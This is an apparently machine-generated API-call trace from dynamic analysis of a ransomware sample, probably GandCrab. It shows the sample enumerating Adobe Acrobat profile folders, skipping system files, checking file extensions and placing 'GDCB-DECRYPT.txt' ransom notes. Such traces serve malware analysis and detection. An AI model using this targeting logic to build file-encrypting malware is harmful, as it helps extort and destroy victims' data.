lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0135.391] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\" [0135.391] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.391] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.391] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.391] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.392] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.392] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.392] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned 62 [0135.392] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*" [0135.392] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7900 [0135.392] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.392] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.392] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.392] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.392] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.392] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.392] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.392] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt" [0135.392] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0135.393] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.393] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.393] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.393] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.393] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\\\GDCB-DECRYPT.txt") returned 79 [0135.393] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\collab\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.393] GetLastError () returned 0x50 [0135.393] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.393] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned 62 [0135.393] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*" [0135.393] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7980 [0135.394] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.394] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.394] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.394] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.394] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.394] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.394] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt" [0135.394] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.394] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0135.394] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0135.394] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0135.394] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\GDCB-DECRYPT.txt") returned 78 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.394] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.394] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.394] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.394] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.394] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.394] lstrcmpW (lpString1="Forms", lpString2=".") returned 1 [0135.394] lstrcmpW (lpString1="Forms", lpString2="..") returned 1 [0135.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0135.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\" [0135.394] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.395] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.395] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.395] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned 61 [0135.395] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*" [0135.395] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.395] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.395] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.395] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.395] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.395] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.395] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.395] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.395] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt" [0135.395] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0135.395] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.395] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.395] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.395] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.396] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\\\GDCB-DECRYPT.txt") returned 78 [0135.396] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\forms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.396] GetLastError () returned 0x50 [0135.396] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.396] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned 61 [0135.396] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*" [0135.396] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7680 [0135.396] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.396] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.396] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.396] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.396] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.396] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.396] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.396] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt" [0135.396] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.396] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0135.396] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0135.396] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0135.396] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\GDCB-DECRYPT.txt") returned 77 [0135.396] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.396] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.396] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.396] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.396] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.397] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.397] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.397] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.397] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.397] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.397] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0135.397] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.397] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0135.397] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0135.397] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0135.397] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 71 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.397] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.397] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.397] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.397] lstrcmpW (lpString1="JSCache", lpString2=".") returned 1 [0135.397] lstrcmpW (lpString1="JSCache", lpString2="..") returned 1 [0135.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0135.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\" [0135.397] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.398] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.398] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.398] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.398] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.398] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.398] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned 63 [0135.398] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*" [0135.398] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.398] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.398] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.398] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.398] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.398] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.398] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.398] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.398] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt" [0135.398] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0135.398] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.398] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.398] lstrcmpW (lpString1="GlobData", lpString2=".") returned 1 [0135.398] lstrcmpW (lpString1="GlobData", lpString2="..") returned 1 [0135.398] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" [0135.398] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71 [0135.398] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.398] lstrcmpW (lpString1="GlobSettings", lpString2=".") returned 1 [0135.398] lstrcmpW (lpString1="GlobSettings", lpString2="..") returned 1 [0135.398] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobSettings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" [0135.398] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75 [0135.398] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.398] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.398] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.399] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\\\GDCB-DECRYPT.txt") returned 80 [0135.399] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.399] GetLastError () returned 0x50 [0135.399] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.399] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned 63 [0135.399] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*" [0135.399] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7680 [0135.399] lstrcmpW 